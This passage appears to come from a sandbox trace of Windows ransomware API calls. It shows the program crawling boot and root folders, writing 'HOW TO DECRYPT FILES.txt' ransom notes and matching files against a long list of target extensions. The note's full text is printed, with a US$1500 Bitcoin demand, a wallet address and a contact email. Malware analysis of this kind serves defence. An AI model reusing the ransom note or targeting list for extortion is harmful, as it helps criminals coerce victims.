[0057.440] PathMatchSpecA (pszFile="C:\\Boot\\zh-HK\\bootmgr.exe.mui", pszSpec="*.csv") returned 0 [0057.440] lstrlenA (lpString="*.csv") returned 5 [0057.440] FindNextFileA (in: hFindFile=0x4f7098, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0057.440] FindClose (in: hFindFile=0x4f7098 | out: hFindFile=0x4f7098) returned 1 [0057.441] FindNextFileA (in: hFindFile=0x4f6020, lpFindFileData=0x18fce8 | out: lpFindFileData=0x18fce8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0057.441] lstrcmpA (lpString1=".", lpString2="zh-TW") returned -1 [0057.441] lstrcmpA (lpString1="..", lpString2="zh-TW") returned -1 [0057.441] PathFindFileNameA (pszPath="C:\\Boot\\*.*") returned="*.*" [0057.441] lstrcatA (in: lpString1="C:\\Boot\\", lpString2="zh-TW" | out: lpString1="C:\\Boot\\zh-TW") returned="C:\\Boot\\zh-TW" [0057.441] lstrlenA (lpString="C:\\Boot\\zh-TW") returned 13 [0057.441] FindFirstFileA (in: lpFileName="C:\\Boot\\zh-TW\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4f8360, cFileName=".", cAlternateFileName="")) returned 0x4f7098 [0057.441] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0057.441] FindNextFileA (in: hFindFile=0x4f7098, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0057.441] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0057.441] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0057.441] FindNextFileA (in: hFindFile=0x4f7098, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0057.441] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0057.441] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="bootmgr.exe.mui") returned 1 [0057.441] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="bootmgr.exe.mui") returned 1 [0057.441] lstrcmpiA (lpString1="", lpString2="bootmgr.exe.mui") returned -1 [0057.441] PathFindFileNameA (pszPath="C:\\Boot\\zh-TW\\*.*") returned="*.*" [0057.441] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Boot\\zh-TW\\" | out: lpString1="C:\\Boot\\zh-TW\\") returned="C:\\Boot\\zh-TW\\" [0057.441] PathAddBackslashA (in: pszPath="C:\\Boot\\zh-TW\\" | out: pszPath="C:\\Boot\\zh-TW\\") returned="" [0057.441] lstrcatA (in: lpString1="C:\\Boot\\zh-TW\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Boot\\zh-TW\\HOW TO DECRYPT FILES.txt") returned="C:\\Boot\\zh-TW\\HOW TO DECRYPT FILES.txt" [0057.442] GetFileAttributesA (lpFileName="C:\\Boot\\zh-TW\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\boot\\zh-tw\\how to decrypt files.txt")) returned 0xffffffff [0057.442] CreateFileA (lpFileName="C:\\Boot\\zh-TW\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\boot\\zh-tw\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x84 [0057.442] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0057.442] WriteFile (in: hFile=0x84, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0057.443] SetFileTime (hFile=0x84, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0057.443] CloseHandle (hObject=0x84) returned 1 [0057.443] lstrcatA (in: lpString1="C:\\Boot\\zh-TW\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\zh-TW\\bootmgr.exe.mui") returned="C:\\Boot\\zh-TW\\bootmgr.exe.mui" [0057.443] PathMatchSpecA (pszFile="C:\\Boot\\zh-TW\\bootmgr.exe.mui", pszSpec="*.ems") returned 0 [0057.443] lstrlenA (lpString="*.ems") returned 5 [0057.443] PathMatchSpecA (pszFile="C:\\Boot\\zh-TW\\bootmgr.exe.mui", pszSpec="*.db") returned 0 [0057.443] lstrlenA (lpString="*.db") returned 4 [0057.443] PathMatchSpecA (pszFile="C:\\Boot\\zh-TW\\bootmgr.exe.mui", pszSpec="*.dbf") returned 0 [0057.443] lstrlenA (lpString="*.dbf") returned 5 [0057.443] PathMatchSpecA (pszFile="C:\\Boot\\zh-TW\\bootmgr.exe.mui", pszSpec="*.myox") returned 0 [0057.443] lstrlenA (lpString="*.myox") returned 6 [0057.443] PathMatchSpecA (pszFile="C:\\Boot\\zh-TW\\bootmgr.exe.mui", pszSpec="*.myo") returned 0 [0057.443] lstrlenA (lpString="*.myo") returned 5 [0057.443] PathMatchSpecA (pszFile="C:\\Boot\\zh-TW\\bootmgr.exe.mui", pszSpec="*.qbw") returned 0 [0057.444] lstrlenA (lpString="*.qbw") returned 5 [0057.444] PathMatchSpecA (pszFile="C:\\Boot\\zh-TW\\bootmgr.exe.mui", pszSpec="*.qbb") returned 0 [0057.444] lstrlenA (lpString="*.qbb") returned 5 [0057.444] PathMatchSpecA (pszFile="C:\\Boot\\zh-TW\\bootmgr.exe.mui", pszSpec="*.qbm") returned 0 [0057.444] lstrlenA (lpString="*.qbm") returned 5 [0057.444] PathMatchSpecA (pszFile="C:\\Boot\\zh-TW\\bootmgr.exe.mui", pszSpec="*.qbo") returned 0 [0057.444] lstrlenA (lpString="*.qbo") returned 5 [0057.444] PathMatchSpecA (pszFile="C:\\Boot\\zh-TW\\bootmgr.exe.mui", pszSpec="*.qbx") returned 0 [0057.444] lstrlenA (lpString="*.qbx") returned 5 [0057.444] PathMatchSpecA (pszFile="C:\\Boot\\zh-TW\\bootmgr.exe.mui", pszSpec="*.qba") returned 0 [0057.444] lstrlenA (lpString="*.qba") returned 5 [0057.444] PathMatchSpecA (pszFile="C:\\Boot\\zh-TW\\bootmgr.exe.mui", pszSpec="*.qby") returned 0 [0057.444] lstrlenA (lpString="*.qby") returned 5 [0057.444] PathMatchSpecA (pszFile="C:\\Boot\\zh-TW\\bootmgr.exe.mui", pszSpec="*.qbj") returned 0 [0057.444] lstrlenA (lpString="*.qbj") returned 5 [0057.444] PathMatchSpecA (pszFile="C:\\Boot\\zh-TW\\bootmgr.exe.mui", pszSpec="*.ofx") returned 0 [0057.444] lstrlenA (lpString="*.ofx") returned 5 [0057.444] PathMatchSpecA (pszFile="C:\\Boot\\zh-TW\\bootmgr.exe.mui", pszSpec="*.qif") returned 0 [0057.444] lstrlenA (lpString="*.qif") returned 5 [0057.444] PathMatchSpecA (pszFile="C:\\Boot\\zh-TW\\bootmgr.exe.mui", pszSpec="*.mye") returned 0 [0057.444] lstrlenA (lpString="*.mye") returned 5 [0057.444] PathMatchSpecA (pszFile="C:\\Boot\\zh-TW\\bootmgr.exe.mui", pszSpec="*.mbox") returned 0 [0057.444] lstrlenA (lpString="*.mbox") returned 6 [0057.444] PathMatchSpecA (pszFile="C:\\Boot\\zh-TW\\bootmgr.exe.mui", pszSpec="*.eml") returned 0 [0057.444] lstrlenA (lpString="*.eml") returned 5 [0057.444] PathMatchSpecA (pszFile="C:\\Boot\\zh-TW\\bootmgr.exe.mui", pszSpec="*.pst") returned 0 [0057.444] lstrlenA (lpString="*.pst") returned 5 [0057.444] PathMatchSpecA (pszFile="C:\\Boot\\zh-TW\\bootmgr.exe.mui", pszSpec="*.ost") returned 0 [0057.444] lstrlenA (lpString="*.ost") returned 5 [0057.444] PathMatchSpecA (pszFile="C:\\Boot\\zh-TW\\bootmgr.exe.mui", pszSpec="*.idx") returned 0 [0057.444] lstrlenA (lpString="*.idx") returned 5 [0057.445] PathMatchSpecA (pszFile="C:\\Boot\\zh-TW\\bootmgr.exe.mui", pszSpec="*.dbx") returned 0 [0057.445] lstrlenA (lpString="*.dbx") returned 5 [0057.445] PathMatchSpecA (pszFile="C:\\Boot\\zh-TW\\bootmgr.exe.mui", pszSpec="*.sql") returned 0 [0057.445] lstrlenA (lpString="*.sql") returned 5 [0057.445] PathMatchSpecA (pszFile="C:\\Boot\\zh-TW\\bootmgr.exe.mui", pszSpec="*.mdb") returned 0 [0057.445] lstrlenA (lpString="*.mdb") returned 5 [0057.445] PathMatchSpecA (pszFile="C:\\Boot\\zh-TW\\bootmgr.exe.mui", pszSpec="*.fdb") returned 0 [0057.445] lstrlenA (lpString="*.fdb") returned 5 [0057.445] PathMatchSpecA (pszFile="C:\\Boot\\zh-TW\\bootmgr.exe.mui", pszSpec="*.wab") returned 0 [0057.445] lstrlenA (lpString="*.wab") returned 5 [0057.445] PathMatchSpecA (pszFile="C:\\Boot\\zh-TW\\bootmgr.exe.mui", pszSpec="*.dat") returned 0 [0057.445] lstrlenA (lpString="*.dat") returned 5 [0057.445] PathMatchSpecA (pszFile="C:\\Boot\\zh-TW\\bootmgr.exe.mui", pszSpec="*.txt") returned 0 [0057.445] lstrlenA (lpString="*.txt") returned 5 [0057.445] PathMatchSpecA (pszFile="C:\\Boot\\zh-TW\\bootmgr.exe.mui", pszSpec="*.jpeg") returned 0 [0057.445] lstrlenA (lpString="*.jpeg") returned 6 [0057.445] PathMatchSpecA (pszFile="C:\\Boot\\zh-TW\\bootmgr.exe.mui", pszSpec="*.jpg") returned 0 [0057.445] lstrlenA (lpString="*.jpg") returned 5 [0057.445] PathMatchSpecA (pszFile="C:\\Boot\\zh-TW\\bootmgr.exe.mui", pszSpec="*.png") returned 0 [0057.445] lstrlenA (lpString="*.png") returned 5 [0057.445] PathMatchSpecA (pszFile="C:\\Boot\\zh-TW\\bootmgr.exe.mui", pszSpec="*.php") returned 0 [0057.445] lstrlenA (lpString="*.php") returned 5 [0057.445] PathMatchSpecA (pszFile="C:\\Boot\\zh-TW\\bootmgr.exe.mui", pszSpec="*.cs") returned 0 [0057.445] lstrlenA (lpString="*.cs") returned 4 [0057.445] PathMatchSpecA (pszFile="C:\\Boot\\zh-TW\\bootmgr.exe.mui", pszSpec="*.cpp") returned 0 [0057.445] lstrlenA (lpString="*.cpp") returned 5 [0057.445] PathMatchSpecA (pszFile="C:\\Boot\\zh-TW\\bootmgr.exe.mui", pszSpec="*.rar") returned 0 [0057.445] lstrlenA (lpString="*.rar") returned 5 [0057.445] PathMatchSpecA (pszFile="C:\\Boot\\zh-TW\\bootmgr.exe.mui", pszSpec="*.zip") returned 0 [0057.445] lstrlenA (lpString="*.zip") returned 5 [0057.445] PathMatchSpecA (pszFile="C:\\Boot\\zh-TW\\bootmgr.exe.mui", pszSpec="*.html") returned 0 [0057.445] lstrlenA (lpString="*.html") returned 6 [0057.445] PathMatchSpecA (pszFile="C:\\Boot\\zh-TW\\bootmgr.exe.mui", pszSpec="*.htm") returned 0 [0057.446] lstrlenA (lpString="*.htm") returned 5 [0057.446] PathMatchSpecA (pszFile="C:\\Boot\\zh-TW\\bootmgr.exe.mui", pszSpec="*.xlsx") returned 0 [0057.446] lstrlenA (lpString="*.xlsx") returned 6 [0057.446] PathMatchSpecA (pszFile="C:\\Boot\\zh-TW\\bootmgr.exe.mui", pszSpec="*.xls") returned 0 [0057.446] lstrlenA (lpString="*.xls") returned 5 [0057.446] PathMatchSpecA (pszFile="C:\\Boot\\zh-TW\\bootmgr.exe.mui", pszSpec="*.mp4") returned 0 [0057.446] lstrlenA (lpString="*.mp4") returned 5 [0057.446] PathMatchSpecA (pszFile="C:\\Boot\\zh-TW\\bootmgr.exe.mui", pszSpec="*.ppt") returned 0 [0057.446] lstrlenA (lpString="*.ppt") returned 5 [0057.446] PathMatchSpecA (pszFile="C:\\Boot\\zh-TW\\bootmgr.exe.mui", pszSpec="*.pptx") returned 0 [0057.446] lstrlenA (lpString="*.pptx") returned 6 [0057.446] PathMatchSpecA (pszFile="C:\\Boot\\zh-TW\\bootmgr.exe.mui", pszSpec="*.doc") returned 0 [0057.446] lstrlenA (lpString="*.doc") returned 5 [0057.446] PathMatchSpecA (pszFile="C:\\Boot\\zh-TW\\bootmgr.exe.mui", pszSpec="*.dot") returned 0 [0057.446] lstrlenA (lpString="*.dot") returned 5 [0057.446] PathMatchSpecA (pszFile="C:\\Boot\\zh-TW\\bootmgr.exe.mui", pszSpec="*.docx") returned 0 [0057.446] lstrlenA (lpString="*.docx") returned 6 [0057.446] PathMatchSpecA (pszFile="C:\\Boot\\zh-TW\\bootmgr.exe.mui", pszSpec="*.7z") returned 0 [0057.446] lstrlenA (lpString="*.7z") returned 4 [0057.446] PathMatchSpecA (pszFile="C:\\Boot\\zh-TW\\bootmgr.exe.mui", pszSpec="*.tar") returned 0 [0057.446] lstrlenA (lpString="*.tar") returned 5 [0057.446] PathMatchSpecA (pszFile="C:\\Boot\\zh-TW\\bootmgr.exe.mui", pszSpec="*.bz2") returned 0 [0057.446] lstrlenA (lpString="*.bz2") returned 5 [0057.446] PathMatchSpecA (pszFile="C:\\Boot\\zh-TW\\bootmgr.exe.mui", pszSpec="*.gz") returned 0 [0057.446] lstrlenA (lpString="*.gz") returned 4 [0057.446] PathMatchSpecA (pszFile="C:\\Boot\\zh-TW\\bootmgr.exe.mui", pszSpec="*.mkv") returned 0 [0057.446] lstrlenA (lpString="*.mkv") returned 5 [0057.446] PathMatchSpecA (pszFile="C:\\Boot\\zh-TW\\bootmgr.exe.mui", pszSpec="*.eml") returned 0 [0057.446] lstrlenA (lpString="*.eml") returned 5 [0057.446] PathMatchSpecA (pszFile="C:\\Boot\\zh-TW\\bootmgr.exe.mui", pszSpec="*.msg") returned 0 [0057.446] lstrlenA (lpString="*.msg") returned 5 [0057.447] PathMatchSpecA (pszFile="C:\\Boot\\zh-TW\\bootmgr.exe.mui", pszSpec="*.edb") returned 0 [0057.447] lstrlenA (lpString="*.edb") returned 5 [0057.447] PathMatchSpecA (pszFile="C:\\Boot\\zh-TW\\bootmgr.exe.mui", pszSpec="*.accdb") returned 0 [0057.447] lstrlenA (lpString="*.accdb") returned 7 [0057.447] PathMatchSpecA (pszFile="C:\\Boot\\zh-TW\\bootmgr.exe.mui", pszSpec="*.odb") returned 0 [0057.447] lstrlenA (lpString="*.odb") returned 5 [0057.447] PathMatchSpecA (pszFile="C:\\Boot\\zh-TW\\bootmgr.exe.mui", pszSpec="*.java") returned 0 [0057.447] lstrlenA (lpString="*.java") returned 6 [0057.447] PathMatchSpecA (pszFile="C:\\Boot\\zh-TW\\bootmgr.exe.mui", pszSpec="*.asm") returned 0 [0057.447] lstrlenA (lpString="*.asm") returned 5 [0057.447] PathMatchSpecA (pszFile="C:\\Boot\\zh-TW\\bootmgr.exe.mui", pszSpec="*.pfx") returned 0 [0057.447] lstrlenA (lpString="*.pfx") returned 5 [0057.447] PathMatchSpecA (pszFile="C:\\Boot\\zh-TW\\bootmgr.exe.mui", pszSpec="*.pem") returned 0 [0057.447] lstrlenA (lpString="*.pem") returned 5 [0057.447] PathMatchSpecA (pszFile="C:\\Boot\\zh-TW\\bootmgr.exe.mui", pszSpec="*.p12") returned 0 [0057.447] lstrlenA (lpString="*.p12") returned 5 [0057.447] PathMatchSpecA (pszFile="C:\\Boot\\zh-TW\\bootmgr.exe.mui", pszSpec="*.gpg") returned 0 [0057.447] lstrlenA (lpString="*.gpg") returned 5 [0057.447] PathMatchSpecA (pszFile="C:\\Boot\\zh-TW\\bootmgr.exe.mui", pszSpec="*.vsd") returned 0 [0057.447] lstrlenA (lpString="*.vsd") returned 5 [0057.447] PathMatchSpecA (pszFile="C:\\Boot\\zh-TW\\bootmgr.exe.mui", pszSpec="*.odg") returned 0 [0057.447] lstrlenA (lpString="*.odg") returned 5 [0057.447] PathMatchSpecA (pszFile="C:\\Boot\\zh-TW\\bootmgr.exe.mui", pszSpec="*.raw") returned 0 [0057.447] lstrlenA (lpString="*.raw") returned 5 [0057.447] PathMatchSpecA (pszFile="C:\\Boot\\zh-TW\\bootmgr.exe.mui", pszSpec="*.nef") returned 0 [0057.447] lstrlenA (lpString="*.nef") returned 5 [0057.447] PathMatchSpecA (pszFile="C:\\Boot\\zh-TW\\bootmgr.exe.mui", pszSpec="*.svg") returned 0 [0057.447] lstrlenA (lpString="*.svg") returned 5 [0057.447] PathMatchSpecA (pszFile="C:\\Boot\\zh-TW\\bootmgr.exe.mui", pszSpec="*.psd") returned 0 [0057.447] lstrlenA (lpString="*.psd") returned 5 [0057.447] PathMatchSpecA (pszFile="C:\\Boot\\zh-TW\\bootmgr.exe.mui", pszSpec="*.vmx") returned 0 [0057.447] lstrlenA (lpString="*.vmx") returned 5 [0057.447] PathMatchSpecA (pszFile="C:\\Boot\\zh-TW\\bootmgr.exe.mui", pszSpec="*.vmdk") returned 0 [0057.447] lstrlenA (lpString="*.vmdk") returned 6 [0057.448] PathMatchSpecA (pszFile="C:\\Boot\\zh-TW\\bootmgr.exe.mui", pszSpec="*.vdi") returned 0 [0057.448] lstrlenA (lpString="*.vdi") returned 5 [0057.448] PathMatchSpecA (pszFile="C:\\Boot\\zh-TW\\bootmgr.exe.mui", pszSpec="*.lay6") returned 0 [0057.448] lstrlenA (lpString="*.lay6") returned 6 [0057.448] PathMatchSpecA (pszFile="C:\\Boot\\zh-TW\\bootmgr.exe.mui", pszSpec="*.mpeg") returned 0 [0057.448] lstrlenA (lpString="*.mpeg") returned 6 [0057.448] PathMatchSpecA (pszFile="C:\\Boot\\zh-TW\\bootmgr.exe.mui", pszSpec="*.djvu") returned 0 [0057.448] lstrlenA (lpString="*.djvu") returned 6 [0057.448] PathMatchSpecA (pszFile="C:\\Boot\\zh-TW\\bootmgr.exe.mui", pszSpec="*.tiff") returned 0 [0057.448] lstrlenA (lpString="*.tiff") returned 6 [0057.448] PathMatchSpecA (pszFile="C:\\Boot\\zh-TW\\bootmgr.exe.mui", pszSpec="*.backup") returned 0 [0057.448] lstrlenA (lpString="*.backup") returned 8 [0057.448] PathMatchSpecA (pszFile="C:\\Boot\\zh-TW\\bootmgr.exe.mui", pszSpec="*.pdf") returned 0 [0057.448] lstrlenA (lpString="*.pdf") returned 5 [0057.448] PathMatchSpecA (pszFile="C:\\Boot\\zh-TW\\bootmgr.exe.mui", pszSpec="*.cert") returned 0 [0057.448] lstrlenA (lpString="*.cert") returned 6 [0057.448] PathMatchSpecA (pszFile="C:\\Boot\\zh-TW\\bootmgr.exe.mui", pszSpec="*.docm") returned 0 [0057.448] lstrlenA (lpString="*.docm") returned 6 [0057.448] PathMatchSpecA (pszFile="C:\\Boot\\zh-TW\\bootmgr.exe.mui", pszSpec="*.xlsm") returned 0 [0057.448] lstrlenA (lpString="*.xlsm") returned 6 [0057.448] PathMatchSpecA (pszFile="C:\\Boot\\zh-TW\\bootmgr.exe.mui", pszSpec="*.dwg") returned 0 [0057.448] lstrlenA (lpString="*.dwg") returned 5 [0057.448] PathMatchSpecA (pszFile="C:\\Boot\\zh-TW\\bootmgr.exe.mui", pszSpec="*.nd") returned 0 [0057.448] lstrlenA (lpString="*.nd") returned 4 [0057.448] PathMatchSpecA (pszFile="C:\\Boot\\zh-TW\\bootmgr.exe.mui", pszSpec="*.tlg") returned 0 [0057.448] lstrlenA (lpString="*.tlg") returned 5 [0057.448] PathMatchSpecA (pszFile="C:\\Boot\\zh-TW\\bootmgr.exe.mui", pszSpec="*.lgb") returned 0 [0057.448] lstrlenA (lpString="*.lgb") returned 5 [0057.448] PathMatchSpecA (pszFile="C:\\Boot\\zh-TW\\bootmgr.exe.mui", pszSpec="*.mov") returned 0 [0057.448] lstrlenA (lpString="*.mov") returned 5 [0057.448] PathMatchSpecA (pszFile="C:\\Boot\\zh-TW\\bootmgr.exe.mui", pszSpec="*.xdw") returned 0 [0057.448] lstrlenA (lpString="*.xdw") returned 5 [0057.448] PathMatchSpecA (pszFile="C:\\Boot\\zh-TW\\bootmgr.exe.mui", pszSpec="*.ods") returned 0 [0057.449] lstrlenA (lpString="*.ods") returned 5 [0057.449] PathMatchSpecA (pszFile="C:\\Boot\\zh-TW\\bootmgr.exe.mui", pszSpec="*.wav") returned 0 [0057.449] lstrlenA (lpString="*.wav") returned 5 [0057.449] PathMatchSpecA (pszFile="C:\\Boot\\zh-TW\\bootmgr.exe.mui", pszSpec="*.mp3") returned 0 [0057.449] lstrlenA (lpString="*.mp3") returned 5 [0057.449] PathMatchSpecA (pszFile="C:\\Boot\\zh-TW\\bootmgr.exe.mui", pszSpec="*.aiff") returned 0 [0057.449] lstrlenA (lpString="*.aiff") returned 6 [0057.449] PathMatchSpecA (pszFile="C:\\Boot\\zh-TW\\bootmgr.exe.mui", pszSpec="*.flac") returned 0 [0057.449] lstrlenA (lpString="*.flac") returned 6 [0057.449] PathMatchSpecA (pszFile="C:\\Boot\\zh-TW\\bootmgr.exe.mui", pszSpec="*.m4a") returned 0 [0057.449] lstrlenA (lpString="*.m4a") returned 5 [0057.449] PathMatchSpecA (pszFile="C:\\Boot\\zh-TW\\bootmgr.exe.mui", pszSpec="*.csv") returned 0 [0057.449] lstrlenA (lpString="*.csv") returned 5 [0057.449] FindNextFileA (in: hFindFile=0x4f7098, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0057.449] FindClose (in: hFindFile=0x4f7098 | out: hFindFile=0x4f7098) returned 1 [0057.449] FindNextFileA (in: hFindFile=0x4f6020, lpFindFileData=0x18fce8 | out: lpFindFileData=0x18fce8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0057.449] FindClose (in: hFindFile=0x4f6020 | out: hFindFile=0x4f6020) returned 1 [0057.449] FindNextFileA (in: hFindFile=0x4f4e38, lpFindFileData=0x18fe38 | out: lpFindFileData=0x18fe38*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0057.449] PeekMessageA (in: lpMsg=0x18fe14, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fe14) returned 0 [0057.449] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="bootmgr") returned 1 [0057.449] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="bootmgr") returned 1 [0057.449] lstrcmpiA (lpString1="", lpString2="bootmgr") returned -1 [0057.449] PathFindFileNameA (pszPath="C:\\*.*") returned="*.*" [0057.449] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\" | out: lpString1="C:\\") returned="C:\\" [0057.449] PathAddBackslashA (in: pszPath="C:\\" | out: pszPath="C:\\") returned="" [0057.449] lstrcatA (in: lpString1="C:\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\HOW TO DECRYPT FILES.txt") returned="C:\\HOW TO DECRYPT FILES.txt" [0057.449] GetFileAttributesA (lpFileName="C:\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\how to decrypt files.txt")) returned 0xffffffff [0057.450] CreateFileA (lpFileName="C:\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7c [0057.453] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0057.453] WriteFile (in: hFile=0x7c, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0057.454] SetFileTime (hFile=0x7c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0057.454] CloseHandle (hObject=0x7c) returned 1 [0057.454] lstrcatA (in: lpString1="C:\\", lpString2="bootmgr" | out: lpString1="C:\\bootmgr") returned="C:\\bootmgr" [0057.454] PathMatchSpecA (pszFile="C:\\bootmgr", pszSpec="*.ems") returned 0 [0057.454] lstrlenA (lpString="*.ems") returned 5 [0057.454] PathMatchSpecA (pszFile="C:\\bootmgr", pszSpec="*.db") returned 0 [0057.454] lstrlenA 